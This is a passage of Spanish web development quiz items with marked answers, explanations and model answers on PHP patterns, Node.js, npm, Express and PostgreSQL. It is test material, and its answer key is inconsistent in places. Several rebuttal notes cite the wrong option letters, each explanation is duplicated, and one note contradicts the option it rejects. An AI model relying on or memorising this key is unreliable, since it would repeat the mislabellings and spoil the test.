Por qué: OFFSET hace que la BD 'salte' todos los registros anteriores: con 1 millón de registros, saltar al final tarda segundos. Cursor (WHERE id < último_id_visto) usa el índice, así que es instantánea sin importar el tamaño. Para el 95% de apps, OFFSET es suficiente; para apps con millones de registros, cursor es necesario.Detalle: OFFSET hace que la BD 'salte' todos los registros anteriores: con 1 millón de registros, saltar al final tarda segundos. Cursor (WHERE id < último_id_visto) usa el índice, así que es instantánea sin importar el tamaño. Para el 95% de apps, OFFSET es suficiente; para apps con millones de registros, cursor es necesario. | a) Sí hay diferencia de rendimiento. | c) Ambos funcionan en cualquier BD. -
¿Qué hace el patrón PRG (POST-Redirect-GET)?
- a) Es un patrón para hacer login.
- b) Después de un POST, redirige a una URL GET para evitar reenvíos accidentales al recargar. ✓ correcta
- c) Es un tipo de cifrado.
- d) Es un framework PHP.
Por qué: PRG evita el problema de reenvío: si el usuario recarga la página después de un POST, no se reenvía el formulario (que duplicaría la operación). En su lugar, la URL final es GET, que se puede recargar sin efectos secundarios. Es la diferencia entre código amateur y profesional.Detalle: PRG evita el problema de reenvío: si el usuario recarga la página después de un POST, no se reenvía el formulario (que duplicaría la operación). En su lugar, la URL final es GET, que se puede recargar sin efectos secundarios. Es la diferencia entre código amateur y profesional. | a) No es para login específicamente. | c) No es un framework. -
Si tu INSERT falla porque el email ya existe (UNIQUE constraint), ¿cómo deberías manejarlo?
- a) Mostrar el error de MySQL al usuario.
- b) Capturar PDOException con código 23000 y mostrar 'Ya existe un usuario con ese email'. ✓ correcta
- c) Ignorar el error.
- d) Cambiar el email automáticamente.
Por qué: El error 23000 de SQL es por violación de UNIQUE constraint. Debes capturarlo con try/catch y mostrar un mensaje AMIGABLE al usuario. El error técnico va a error_log, no al navegador. Es la diferencia entre un error útil y un 'SQLSTATE[23000]' que nadie entiende.Detalle: El error 23000 de SQL es por violación de UNIQUE constraint. Debes capturarlo con try/catch y mostrar un mensaje AMIGABLE al usuario. El error técnico va a error_log, no al navegador. Es la diferencia entre un error útil y un 'SQLSTATE[23000]' que nadie entiende. | a) El error de MySQL es técnico y confunde al usuario. | c) Cambiar el email automáticamente es invasivo y confuso.
Preguntas abiertas (3)
-
Explica el patrón PRG (POST-Redirect-GET) y por qué es importante aplicarlo después de INSERT, UPDATE y DELETE. (3 a 5 líneas).
Respuesta modelo: PRG es un patrón: después de procesar un POST que modifica datos, rediriges con header('Location: ...') + exit a una URL GET. Importancia: (1) Evita el problema de reenvío: si el usuario recarga, no se duplica la operación (no se crea otro registro, no se vuelve a borrar). (2) Deja una URL final limpia y compartible (es GET). (3) El botón 'Atrás' del navegador funciona bien. Sin PRG, el usuario ve 'Confirmación de reenvío de formulario' cada vez que recarga, y si confirma, se duplica la operación. Es la diferencia entre código amateur y profesional.
-
Explica qué es 'soft delete' y por qué es preferible a 'hard delete' en la mayoría de apps. (3 a 5 líneas).
Respuesta modelo: Soft delete es marcar el registro como inactivo (activo=FALSE o deleted_at=timestamp) en vez de hacer DELETE. Ventajas: (1) Recuperación: el usuario puede 'recuperar' registros eliminados accidentalmente (como Gmail). (2) Auditoría: puedes ver QUÉ se eliminó, CUÁNDO, y por QUIÉN. (3) Integridad: si hay foreign keys, hard delete falla o requiere ON DELETE CASCADE. Con soft delete, los registros siguen ahí pero filtrados. Implementación: UPDATE tabla SET activo=FALSE WHERE id=?; y en los SELECT, WHERE activo=TRUE. Es el patrón usado por Gmail, GitHub, Notion, y casi todas las apps serias.
-
Estás construyendo un CRUD de posts para un blog. Explica paso a paso cómo implementarías la paginación de 10 posts por página, y qué consideraciones de rendimiento tendrías si el blog crece a 1 millón de posts. (4 a 6 líneas).
Respuesta modelo: Paso 1: Contar total de posts: SELECT COUNT(*) FROM posts WHERE activo=TRUE. Paso 2: Calcular total_paginas = ceil(total / 10). Paso 3: Obtener página actual: $pagina = max(1, (int)($_GET['pagina'] ?? 1)). Paso 4: Calcular offset = ($pagina - 1) * 10. Paso 5: SELECT los posts: SELECT * FROM posts WHERE activo=TRUE ORDER BY creado_en DESC LIMIT 10 OFFSET X. Consideraciones para 1 millón de posts: (1) Índice en 'activo' y 'creado_en' para que el ORDER BY sea rápido. (2) El COUNT(*) se vuelve lento; considera tablas agregadas o estimación. (3) OFFSET con millones es lento porque la BD 'salta' registros; usa paginación por cursor (WHERE id < último_id ORDER BY id DESC LIMIT 10) que usa el índice y es instantánea. Para un blog pequeño-mediano, OFFSET es suficiente; para uno grande, cursor.
Preguntas de opción múltiple (10)
-
¿Qué es Node.js?
- a) Un lenguaje de programación.
- b) Un RUNTIME de JavaScript que se ejecuta fuera del navegador, usando el motor V8 de Chrome. ✓ correcta
- c) Una base de datos.
- d) Un framework.
Por qué: Node.js es un RUNTIME: un programa que ejecuta JavaScript fuera del navegador. Usa el motor V8 de Chrome. NO es un lenguaje nuevo, NO es un framework. Es el MISMO JavaScript con APIs de servidor (fs, http, path) en vez de APIs de navegador (document, window).Detalle: Node.js es un RUNTIME: un programa que ejecuta JavaScript fuera del navegador. Usa el motor V8 de Chrome. NO es un lenguaje nuevo, NO es un framework. Es el MISMO JavaScript con APIs de servidor (fs, http, path) en vez de APIs de navegador (document, window). | a) El lenguaje sigue siendo JavaScript. | c) No es un framework como Express. -
¿Qué archivo es el CORAZÓN de un proyecto Node.js?
- a) index.html
- b) package.json ✓ correcta
- c) server.js
- d) .gitignore
Por qué: package.json es el corazón: describe el proyecto (nombre, versión), sus dependencias, y los scripts. Sin él, npm no sabe qué instalar ni cómo correr tu proyecto. Equivale al composer.json de PHP o al requirements.txt de Python.Detalle: package.json es el corazón: describe el proyecto (nombre, versión), sus dependencias, y los scripts. Sin él, npm no sabe qué instalar ni cómo correr tu proyecto. Equivale al composer.json de PHP o al requirements.txt de Python. | a) index.html es para frontend. | c) .gitignore es para excluir archivos de Git. -
¿Qué hace el comando 'npm init -y'?
- a) Instala todas las dependencias.
- b) Crea un package.json inicial con valores por defecto. ✓ correcta
- c) Inicia el servidor.
- d) Actualiza Node.js.
Por qué: npm init -y crea el package.json automáticamente con valores por defecto (nombre del directorio, versión 1.0.0, etc.). El flag -y acepta todas las preguntas. Sin este archivo, npm no puede gestionar tu proyecto.Detalle: npm init -y crea el package.json automáticamente con valores por defecto (nombre del directorio, versión 1.0.0, etc.). El flag -y acepta todas las preguntas. Sin este archivo, npm no puede gestionar tu proyecto. | a) Para instalar dependencias se usa npm install. | c) Para actualizar Node se usa nvm o el instalador. -
Para usar ES Modules (import/export) en Node.js, ¿qué debes hacer?
- a) Nada, ya viene por defecto.
- b) Agregar 'type': 'module' en package.json. ✓ correcta
- c) Usar extensión .cjs en los archivos.
- d) Instalar un paquete extra.
Por qué: Para usar import/export (ES Modules), debes agregar 'type': 'module' en tu package.json. Si no, Node asume CommonJS y require(). Es el error #1 de principiantes con Node.Detalle: Para usar import/export (ES Modules), debes agregar 'type': 'module' en tu package.json. Si no, Node asume CommonJS y require(). Es el error #1 de principiantes con Node. | a) Por defecto Node usa CommonJS, no ES Modules. | c) No necesitas paquetes extra. -
¿Qué hace 'npm install nombre-paquete' (sin -g ni -D)?
- a) Instala globalmente.
- b) Instala el paquete como DEPENDENCIA de producción y lo guarda en 'dependencies' de package.json. ✓ correcta
- c) Solo descarga sin instalar.
- d) Lo desinstala.
Por qué: npm install nombre (sin flags) instala el paquete como DEPENDENCIA de producción: se guarda en 'dependencies' del package.json y en node_modules. Se instalará en producción. Para herramientas de desarrollo (eslint, nodemon), usa -D (devDependency).Detalle: npm install nombre (sin flags) instala el paquete como DEPENDENCIA de producción: se guarda en 'dependencies' del package.json y en node_modules. Se instalará en producción. Para herramientas de desarrollo (eslint, nodemon), usa -D (devDependency). | a) Sin -g, no es global. | c) No desinstala. -
¿Qué hace npx?
- a) Instala paquetes globalmente.
- b) Ejecuta un paquete de npm sin necesidad de instalarlo permanentemente (descarga, ejecuta, borra). ✓ correcta
- c) Es lo mismo que npm.
- d) Borra node_modules.
Por qué: npx ejecuta un paquete sin instalarlo permanentemente. Útil para herramientas que usas ocasionalmente (create-react-app, vite, eslint). Descarga el paquete, lo ejecuta, y lo borra. Es la forma moderna de evitar 'npm install -g' (que llena tu sistema).Detalle: npx ejecuta un paquete sin instalarlo permanentemente. Útil para herramientas que usas ocasionalmente (create-react-app, vite, eslint). Descarga el paquete, lo ejecuta, y lo borra. Es la forma moderna de evitar 'npm install -g' (que llena tu sistema). | a) No instala permanentemente. | c) No borra nada del proyecto. -
¿Qué es el Event Loop de Node.js?
- a) Un bucle for.
- b) El mecanismo que permite a Node manejar miles de operaciones async sin bloquear el hilo principal. ✓ correcta
- c) Una función de JavaScript.
- d) Un paquete de npm.
Por qué: El Event Loop es el corazón de Node: un ciclo que ejecuta callbacks asíncronos sin bloquear el hilo principal. Permite a Node manejar miles de conexiones simultáneas (cada petición I/O no bloquea las demás). Es la magia que hace a Node perfecto para servidores con mucho I/O.Detalle: El Event Loop es el corazón de Node: un ciclo que ejecuta callbacks asíncronos sin bloquear el hilo principal. Permite a Node manejar miles de conexiones simultáneas (cada petición I/O no bloquea las demás). Es la magia que hace a Node perfecto para servidores con mucho I/O. | a) No es un bucle for, es un mecanismo del runtime. | c) No es un paquete, viene integrado. -
En Node.js, ¿qué operaciones son BLOQUEANTES (malas para servidores)?
- a) readFile (async)
- b) readFileSync, writeFileSync, execSync ✓ correcta
- c) fetch (async)
- d) await Promise.all
Por qué: Las versiones Sync de las APIs (readFileSync, writeFileSync, execSync) BLOQUEAN el hilo principal: mientras se ejecutan, todo lo demás espera. En un servidor con 1000 usuarios, eso es fatal. Usa SIEMPRE las versiones async (readFile, writeFile) con async/await.Detalle: Las versiones Sync de las APIs (readFileSync, writeFileSync, execSync) BLOQUEAN el hilo principal: mientras se ejecutan, todo lo demás espera. En un servidor con 1000 usuarios, eso es fatal. Usa SIEMPRE las versiones async (readFile, writeFile) con async/await. | a) readFile es async, no bloquea. | c) await Promise.all es async. -
¿Qué hace el archivo package-lock.json?
- a) Es opcional, se puede ignorar.
- b) Fija las versiones EXACTAS de cada dependencia para que todos los clones del repo tengan las mismas versiones. ✓ correcta
- c) Es un log de cambios del proyecto.
- d) Es la licencia del proyecto.
Por qué: package-lock.json fija las versiones EXACTAS de cada dependencia (y de las dependencias de las dependencias). DEBE estar en Git para reproducibilidad. Sin él, npm install puede dar versiones ligeramente diferentes, causando bugs inesperados. Es la diferencia entre un proyecto reproducible y uno caótico.Detalle: package-lock.json fija las versiones EXACTAS de cada dependencia (y de las dependencias de las dependencias). DEBE estar en Git para reproducibilidad. Sin él, npm install puede dar versiones ligeramente diferentes, causando bugs inesperados. Es la diferencia entre un proyecto reproducible y uno caótico. | a) No es opcional, es FUNDAMENTAL para reproducibilidad. | c) La licencia va en otro campo. -
Para iniciar un proyecto Node.js, ¿cuál es el orden correcto?
- a) node index.js → npm init → npm install
- b) npm init -y → npm install dependencias → crear código → node archivo.js ✓ correcta
- c) npm install → crear código → npm init
- d) Solo crear código, npm no es necesario.
Por qué: El orden profesional es: (1) npm init -y para crear package.json, (2) npm install nombre para cada dependencia, (3) escribir el código, (4) node archivo.js o npm run start para ejecutar. Empezar con 'node archivo.js' sin package.json funciona para scripts sueltos, pero no para proyectos serios.Detalle: El orden profesional es: (1) npm init -y para crear package.json, (2) npm install nombre para cada dependencia, (3) escribir el código, (4) node archivo.js o npm run start para ejecutar. Empezar con 'node archivo.js' sin package.json funciona para scripts sueltos, pero no para proyectos serios. | a) El orden importa: package.json primero, luego dependencias, luego código. | c) npm es necesario en cualquier proyecto serio.
Preguntas abiertas (3)
-
Explica qué es el Event Loop de Node.js y por qué es importante para servidores. (3 a 5 líneas).
Respuesta modelo: El Event Loop es el mecanismo de Node que ejecuta operaciones asíncronas sin bloquear el hilo principal. Cuando llega una petición I/O (leer archivo, consultar BD), Node la manda a una operación asíncrona y SIGUE atendiendo otras peticiones. Cuando la operación termina, su callback se procesa en el Event Loop. Esto permite a Node manejar miles de conexiones concurrentes con un solo hilo, lo que lo hace perfecto para servidores con mucho I/O (APIs, microservicios). Si usaras operaciones síncronas (readFileSync), una sola petición lenta bloquearía TODAS las demás.
-
Explica la diferencia entre 'dependencies' y 'devDependencies' en package.json. Da 2 ejemplos de cada uno. (3 a 5 líneas).
Respuesta modelo: 'dependencies' son paquetes que tu app NECESITA en producción (se instalan con 'npm install --production' o al desplegar). Ejemplos: express, react, axios, pg. 'devDependencies' son solo para desarrollo, no se incluyen en producción. Ejemplos: eslint, nodemon, jest, prettier. La distinción es importante: si instalas todo en producción, subes 200 MB de herramientas de desarrollo innecesarias. En Railway, Render, Vercel, hay un flag 'NODE_ENV=production' que automáticamente excluye devDependencies. Para instalar como devDependency: 'npm install -D nombre'.
-
Estás construyendo una API con Node.js que hace 5 consultas a la base de datos por cada petición. ¿Cómo las ejecutarías para máximo rendimiento, y por qué? (3 a 5 líneas).
Respuesta modelo: Usaría Promise.all para ejecutarlas EN PARALELO. Si las 5 consultas son independientes (no dependen del resultado de las anteriores), hacerlas en serie tardaría la SUMA de todas (ej: 5 x 50ms = 250ms). Con Promise.all, tardan lo que tarde la MÁS LENTA (ej: 50ms). Es 5 veces más rápido. Sintaxis: const [users, posts, comments, likes, tags] = await Promise.all([query1, query2, query3, query4, query5]);. Solo si una consulta DEPENDE del resultado de otra (ej: primero buscar el usuario, luego sus posts), la pones en serie con await normal. El paralelismo es una de las mayores ventajas de Node, y Promise.all es la herramienta clave.
Preguntas de opción múltiple (10)
-
¿Qué es Express.js?
- a) Un lenguaje de programación.
- b) Un framework minimalista para Node.js que facilita crear servidores y APIs. ✓ correcta
- c) Una base de datos.
- d) Un sistema operativo.
Por qué: Express es un framework minimalista para Node.js: añade routing, middleware y utilidades sobre el módulo http nativo, sin opacar la libertad de Node. Es el framework más usado para APIs en Node.Detalle: Express es un framework minimalista para Node.js: añade routing, middleware y utilidades sobre el módulo http nativo, sin opacar la libertad de Node. Es el framework más usado para APIs en Node. | a) El lenguaje sigue siendo JavaScript. | c) No es un sistema operativo. -
¿Por qué SIEMPRE debes poner app.use(express.json())?
- a) Para que el servidor arranque.
- b) Para que req.body se parsee automáticamente en las peticiones con Content-Type: application/json. ✓ correcta
- c) Para que Express sepa qué puerto usar.
- d) Para activar el modo desarrollo.
Por qué: express.json() es el middleware que parsea el body de las peticiones JSON y lo deja disponible como req.body. Sin él, req.body viene undefined en los POST. Es el error #1 de principiantes con Express.Detalle: express.json() es el middleware que parsea el body de las peticiones JSON y lo deja disponible como req.body. Sin él, req.body viene undefined en los POST. Es el error #1 de principiantes con Express. | a) El servidor arranca sin él, pero los POST no funcionan. | c) El modo dev se activa con morgan, no con json(). -
Si tu app tiene muchas rutas, ¿cuál es la mejor práctica para organizarlas?
- a) Poner todas en app.js con if/else.
- b) Usar Router para agrupar rutas por entidad (usuarios, productos, etc.) en archivos separados. ✓ correcta
- c) Usar variables globales.
- d) Crear un servidor por cada ruta.
Por qué: Router + app.use() es el patrón profesional. Cada entidad tiene su propio archivo de rutas. Tu app.js queda limpio y solo orquesta. Ejemplo: app.use('/api/usuarios', usuariosRouter);.Detalle: Router + app.use() es el patrón profesional. Cada entidad tiene su propio archivo de rutas. Tu app.js queda limpio y solo orquesta. Ejemplo: app.use('/api/usuarios', usuariosRouter);. | a) if/else gigante es inmantenible con 50+ rutas. | c) Un servidor por ruta es absurdo. -
¿Cómo defines una ruta para 'eliminar un usuario con id 5' en Express?
- a) app.delete('/usuarios/5') ✓ correcta
- b) app.get('/usuarios/delete/5')
- c) app.post('/usuarios/eliminar/5')
- d) app.remove('/usuarios/5')
Por qué: app.delete('/usuarios/:id', handler) es la forma correcta. delete() mapea al verbo HTTP DELETE, y :id es un parámetro que se accede con req.params.id. Es el patrón REST estándar.Detalle: app.delete('/usuarios/:id', handler) es la forma correcta. delete() mapea al verbo HTTP DELETE, y :id es un parámetro que se accede con req.params.id. Es el patrón REST estándar. | b) POST con /eliminar también es malo: usa el verbo correcto. | c) app.remove no existe en Express. -
En Express, ¿qué hace next(err)?
- a) Termina la petición con un error.
- b) Salta al siguiente middleware; si le pasas un error, va al middleware de errores. ✓ correcta
- c) Reinicia el servidor.
- d) Espera al siguiente request.
Por qué: next() sin argumentos pasa al siguiente middleware. next(err) salta al middleware de errores (el que tiene 4 parámetros: err, req, res, next). Es la forma de propagar errores en Express.Detalle: next() sin argumentos pasa al siguiente middleware. next(err) salta al middleware de errores (el que tiene 4 parámetros: err, req, res, next). Es la forma de propagar errores en Express. | a) No termina la petición; el middleware de errores decide qué hacer. | c) No espera al siguiente request. -
En Express, ¿qué hace app.use(express.static('public'))?
- a) Comprime los archivos de public/.
- b) Sirve los archivos estáticos (HTML, CSS, JS, imágenes) de la carpeta public/. ✓ correcta
- c) Encripta los archivos.
- d) Sube los archivos a un CDN.
Por qué: express.static() sirve archivos estáticos: si tienes public/index.html, se accede en /. Si tienes public/css/estilos.css, se accede en /css/estilos.css. Es perfecto para servir un frontend estático (HTML/CSS/JS) desde el mismo servidor Express.Detalle: express.static() sirve archivos estáticos: si tienes public/index.html, se accede en /. Si tienes public/css/estilos.css, se accede en /css/estilos.css. Es perfecto para servir un frontend estático (HTML/CSS/JS) desde el mismo servidor Express. | a) No comprime, eso es compression. | c) No sube a un CDN. -
¿Cómo accedes al parámetro :id de la ruta '/usuarios/:id'?
- a) req.query.id
- b) req.params.id ✓ correcta
- c) req.body.id
- d) req.headers.id
Por qué: req.params contiene los parámetros de la URL definidos con :nombre. /usuarios/5 -> req.params.id = '5' (es string, no número; usa parseInt si necesitas).Detalle: req.params contiene los parámetros de la URL definidos con :nombre. /usuarios/5 -> req.params.id = '5' (es string, no número; usa parseInt si necesitas). | a) req.query es para query string: /usuarios?id=5. | c) req.headers es para los headers HTTP. -
¿Por qué tu middleware de errores debe tener 4 parámetros?
- a) Por convención, no es obligatorio.
- b) Express lo reconoce como middleware de errores SOLO si tiene 4 parámetros: (err, req, res, next). ✓ correcta
- c) Para tener más espacio para lógica.
- d) No es necesario, es opcional.
Por qué: Express distingue middlewares normales (3 params) de middlewares de errores (4 params: err, req, res, next) por la firma. Si tu middleware tiene 3, Express lo trata como normal y NUNCA lo llama para errores. Es un detalle que mucha gente olvida.Detalle: Express distingue middlewares normales (3 params) de middlewares de errores (4 params: err, req, res, next) por la firma. Si tu middleware tiene 3, Express lo trata como normal y NUNCA lo llama para errores. Es un detalle que mucha gente olvida. | a) No es por convención, es funcional: Express lo necesita. | c) No es opcional; sin 4 params no funciona. -
¿Qué middleware usarías para ver las peticiones HTTP en consola durante desarrollo?
- a) express.json()
- b) morgan('dev') ✓ correcta
- c) cors()
- d) express.static()
Por qué: morgan('dev') es un logger HTTP que muestra cada petición en consola con formato: GET /api/usuarios 200 12.345 ms. Esencial en desarrollo. En producción usa 'combined' (más detallado) o un logger real como Winston o Pino.Detalle: morgan('dev') es un logger HTTP que muestra cada petición en consola con formato: GET /api/usuarios 200 12.345 ms. Esencial en desarrollo. En producción usa 'combined' (más detallado) o un logger real como Winston o Pino. | a) express.json() parsea el body, no loggea. | c) express.static() sirve archivos estáticos. -
¿Cómo habilitas CORS en una API Express?
- a) app.use(cors()) después de instalar el paquete cors. ✓ correcta
- b) app.use(allowCrossOrigin())
- c) Es automático en Express.
- d) Solo en el navegador, no en el servidor.
Por qué: Instala el paquete cors (npm install cors) y luego app.use(cors()) en tu app. Por defecto permite cualquier origen (*). En producción, configura opciones específicas: cors({ origin: 'https://miapp.com' }). CORS es necesario cuando tu frontend está en un dominio distinto al backend.Detalle: Instala el paquete cors (npm install cors) y luego app.use(cors()) en tu app. Por defecto permite cualquier origen (*). En producción, configura opciones específicas: cors({ origin: 'https://miapp.com' }). CORS es necesario cuando tu frontend está en un dominio distinto al backend. | b) No es automático; los navegadores bloquean por defecto. | c) CORS se configura en el servidor, no en el navegador.
Preguntas abiertas (3)
-
Explica qué es un middleware en Express y cómo se encadenan para procesar una petición. (3 a 5 líneas).
Respuesta modelo: Un middleware es una función con la firma (req, res, next) que se ejecuta ENTRE la petición y la respuesta. Puede hacer 3 cosas: (1) modificar req o res (ej: express.json() parsea el body), (2) terminar la petición enviando una respuesta (res.send), o (3) pasar al siguiente middleware con next(). Se encadenan con app.use() en orden: el primero que coincide con la ruta se ejecuta, llama a next(), y pasa al siguiente. Ejemplo típico: logger -> CORS -> parse JSON -> auth -> ruta. Si en cualquier paso next(err), salta al middleware de errores (4 parámetros).
-
Explica la diferencia entre app.get('/ruta', handler) y Router(). Da un ejemplo de cuándo usar cada uno. (3 a 5 líneas).
Respuesta modelo: app.get('/ruta', handler) define una ruta directamente en la app principal. Útil para rutas globales (raíz, health check). Router() es para agrupar rutas por entidad: creas un router con varias rutas (router.get, router.post) y lo montas en app con app.use('/prefijo', router). Ejemplo: si tienes 50 rutas de usuarios, NO las pongas en app.js: crea routes/usuarios.js con un Router, y monta con app.use('/api/usuarios', usuariosRouter). Resultado: app.js limpio, rutas organizadas en archivos por entidad, y un solo lugar donde buscar cada recurso. Es la base de cualquier API mantenible.
-
Estás construyendo una API en Express y los handlers async fallan sin mostrar errores. ¿Cuál es la causa y cómo lo solucionas? (3 a 5 líneas).
Respuesta modelo: En Express 4, los handlers async NO propagan errores automáticamente. Si tu handler hace throw new Error() o un await falla, la excepción se vuelve 'unhandled rejection' y mata el proceso (en producción) o se loggea sin aparecer en la respuesta (en desarrollo). Causa: Express 4 fue diseñado antes de async/await, y solo captura errores en handlers síncronos o con next(err) explícito. Solución: usa el wrapper asyncHandler(fn) que envuelve el handler y hace Promise.resolve(fn(req, res, next)).catch(next), propagando cualquier error al middleware de errores. Express 5 (en desarrollo) lo arreglará nativamente. Mientras tanto, asyncHandler es esencial en cualquier proyecto Express serio.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia principal entre PostgreSQL y MySQL?
- a) PostgreSQL es más viejo.
- b) MySQL es rápido y simple; PostgreSQL es robusto y extensible con tipos avanzados (JSONB, arrays, UUID). ✓ correcta
- c) No hay diferencia.
- d) MySQL es mejor para todo.
Por qué: MySQL es rápido y simple, ideal para web tradicional. PostgreSQL es robusto y extensible, con tipos avanzados (JSONB, arrays, UUID, full-text search). Para proyectos nuevos en 2025, PostgreSQL suele ser mejor. MySQL sigue siendo masivo por WordPress.Detalle: MySQL es rápido y simple, ideal para web tradicional. PostgreSQL es robusto y extensible, con tipos avanzados (JSONB, arrays, UUID, full-text search). Para proyectos nuevos en 2025, PostgreSQL suele ser mejor. MySQL sigue siendo masivo por WordPress. | a) PostgreSQL es más viejo (1989 vs 1995). | c) MySQL no es mejor para todo; depende del caso. -
En el paquete pg de Node.js, ¿cuál es la sintaxis correcta de placeholders?
- a) ? (como MySQL)
- b) :nombre (como SQL estándar)
- c) $1, $2, $3 (estilo PostgreSQL) ✓ correcta
- d) Cualquiera funciona.
Por qué: PostgreSQL usa $1, $2, $3 como placeholders. Es diferente de MySQL (que usa ?) y de SQL estándar (que usa :nombre). Es la diferencia más visible al cambiar de una BD a otra.Detalle: PostgreSQL usa $1, $2, $3 como placeholders. Es diferente de MySQL (que usa ?) y de SQL estándar (que usa :nombre). Es la diferencia más visible al cambiar de una BD a otra. | a) ? es de MySQL. | b) :nombre es estándar SQL pero PostgreSQL usa $. -
¿Qué hace 'BEGIN; ... COMMIT;' en SQL?
- a) Cierra la conexión a la BD.
- b) Inicia una transacción: las queries dentro se ejecutan todas o ninguna (atomicidad). ✓ correcta
- c) Borra todas las tablas.
- d) Hace un backup.
Por qué: BEGIN inicia una transacción; COMMIT confirma todas las queries dentro como una unidad atómica. Si algo falla, ROLLBACK revierte TODO. Es esencial para operaciones donde la consistencia es crítica (transferir dinero, crear pedido con items).Detalle: BEGIN inicia una transacción; COMMIT confirma todas las queries dentro como una unidad atómica. Si algo falla, ROLLBACK revierte TODO. Es esencial para operaciones donde la consistencia es crítica (transferir dinero, crear pedido con items). | a) No cierra la conexión. | c) No hace backup. -
¿Qué es un LEFT JOIN?
- a) Solo filas que coinciden en ambas tablas.
- b) Todas las filas de la tabla izquierda, con las coincidencias de la derecha (NULL si no hay). ✓ correcta
- c) Solo filas de la tabla izquierda.
- d) Borra filas.
Por qué: LEFT JOIN devuelve TODAS las filas de la tabla izquierda, con las coincidencias de la derecha (NULL donde no hay match). Útil para 'todos los usuarios, tengan o no pedidos'. INNER JOIN solo devolvería los que tienen pedidos.Detalle: LEFT JOIN devuelve TODAS las filas de la tabla izquierda, con las coincidencias de la derecha (NULL donde no hay match). Útil para 'todos los usuarios, tengan o no pedidos'. INNER JOIN solo devolvería los que tienen pedidos. | a) Eso es INNER JOIN. | c) No borra nada. -
¿Qué tipo de dato de PostgreSQL es INDEXABLE y más rápido para queries que JSON?
- a) TEXT
- b) VARCHAR
- c) JSONB ✓ correcta
- d) JSON
Por qué: JSONB es la versión BINARIA de JSON: más rápida de consultar, indexable con GIN, y elimina espacios duplicados. Si vas a hacer queries sobre campos JSON (WHERE metadata->>'marca' = 'Asus'), USA JSONB. JSON sin B es texto plano, no indexable.Detalle: JSONB es la versión BINARIA de JSON: más rápida de consultar, indexable con GIN, y elimina espacios duplicados. Si vas a hacer queries sobre campos JSON (WHERE metadata->>'marca' = 'Asus'), USA JSONB. JSON sin B es texto plano, no indexable. | a) TEXT y VARCHAR son para strings planos. | b) JSON es texto plano, no indexable. -
¿Qué comando SQL te dice por qué una query es lenta?
- a) SHOW SPEED
- b) EXPLAIN ANALYZE ✓ correcta
- c) DESCRIBE
- d) SLOW LOG
Por qué: EXPLAIN ANALYZE te muestra el plan de ejecución: si hace Seq Scan (escaneo total) o Index Scan (usa índice), cuántas filas examinó, cuánto tardó cada paso. Es tu microscopio para optimizar queries.Detalle: EXPLAIN ANALYZE te muestra el plan de ejecución: si hace Seq Scan (escaneo total) o Index Scan (usa índice), cuántas filas examinó, cuánto tardó cada paso. Es tu microscopio para optimizar queries. | a) SHOW SPEED no existe. | c) SLOW LOG es un log, no un comando de análisis. -
En una transacción, ¿qué hace ROLLBACK?
- a) Confirma todos los cambios.
- b) Revierte TODAS las operaciones desde el BEGIN, como si nunca hubieran pasado. ✓ correcta
- c) Borra la tabla.
- d) Cierra la transacción sin guardar.
Por qué: ROLLBACK revierte TODAS las operaciones desde el BEGIN. Si hubo un error a mitad de la transacción, ROLLBACK deja la BD como estaba antes del BEGIN. Es lo que evita transferencias de dinero incompletas.Detalle: ROLLBACK revierte TODAS las operaciones desde el BEGIN. Si hubo un error a mitad de la transacción, ROLLBACK deja la BD como estaba antes del BEGIN. Es lo que evita transferencias de dinero incompletas. | a) Eso es COMMIT. | c) Cerrar sin guardar no es lo mismo: COMMIT confirma, ROLLBACK revierte. -
¿Por qué NO deberías crear índices en todas las columnas?
- a) Porque ocupa más espacio en disco.
- b) Porque cada índice hace las escrituras (INSERT/UPDATE/DELETE) más lentas al tener que actualizar el índice también. ✓ correcta
- c) Porque los índices son lentos.
- d) No hay razón, siempre hay que indexar todo.
Por qué: Cada índice adicional hace las ESCRITURAS más lentas, porque al INSERT/UPDATE/DELETE hay que actualizar el índice también. La regla: indexa solo las columnas que uses frecuentemente en WHERE y ORDER BY.Detalle: Cada índice adicional hace las ESCRITURAS más lentas, porque al INSERT/UPDATE/DELETE hay que actualizar el índice también. La regla: indexa solo las columnas que uses frecuentemente en WHERE y ORDER BY. | a) El espacio es un factor menor. | c) No es buena práctica indexar todo. -
¿Qué es un 'pool' de conexiones en Node.js con PostgreSQL?
- a) Una piscina real.
- b) Un conjunto de conexiones reutilizables a la BD, en vez de abrir y cerrar una por cada query. ✓ correcta
- c) Un tipo de query.
- d) Una función de Postgres.
Por qué: Un pool de conexiones es un conjunto de conexiones reutilizables. En vez de abrir/cerrar una conexión por cada query (lento, 5-50ms cada vez), el pool las mantiene abiertas y las reusa (rápido, 0.1ms). Es esencial en cualquier API con tráfico.Detalle: Un pool de conexiones es un conjunto de conexiones reutilizables. En vez de abrir/cerrar una conexión por cada query (lento, 5-50ms cada vez), el pool las mantiene abiertas y las reusa (rápido, 0.1ms). Es esencial en cualquier API con tráfico. | a) No es una piscina real, es una metáfora. | c) No es una función de Postgres, es un patrón de cliente. -
¿Cuál es la diferencia entre WHERE y HAVING?
- a) Son sinónimos.
- b) WHERE filtra ANTES de agrupar; HAVING filtra DESPUÉS de agrupar (sobre los resultados del GROUP BY). ✓ correcta
- c) HAVING es solo para bases de datos pequeñas.
- d) WHERE es para joins, HAVING para filtros.
Por qué: WHERE filtra ANTES de agrupar (sobre filas individuales). HAVING filtra DESPUÉS de agrupar (sobre los resultados del GROUP BY). Si quieres 'usuarios con más de 5 pedidos', es HAVING COUNT(...) > 5, no WHERE.Detalle: WHERE filtra ANTES de agrupar (sobre filas individuales). HAVING filtra DESPUÉS de agrupar (sobre los resultados del GROUP BY). Si quieres 'usuarios con más de 5 pedidos', es HAVING COUNT(...) > 5, no WHERE. | a) No son sinónimos. | c) WHERE no es para joins específicamente.
Preguntas abiertas (3)
-
Explica por qué PostgreSQL es generalmente mejor que MySQL para proyectos nuevos en 2025. (3 a 5 líneas).
Respuesta modelo: PostgreSQL es mejor para proyectos nuevos en 2025 por: (1) Tipos de datos avanzados: JSONB (indexable), arrays, UUID, ranges — MySQL tiene JSON pero sin indexar bien. (2) Full-text search nativo potente, MySQL es básico. (3) Mejor cumplimiento del estándar SQL. (4) Mercado laboral: ofertas de empleo para PostgreSQL crecen más rápido que MySQL. (5) Mejor para apps modernas: Notion, Spotify, Instagram, Reddit, Apple lo usan. MySQL sigue siendo masivo por WordPress y legacy, pero para proyectos nuevos PostgreSQL es la elección más sólida. No significa que MySQL sea 'malo' — es excelente también. Pero si vas a aprender UNA BD nueva, que sea PostgreSQL.
-
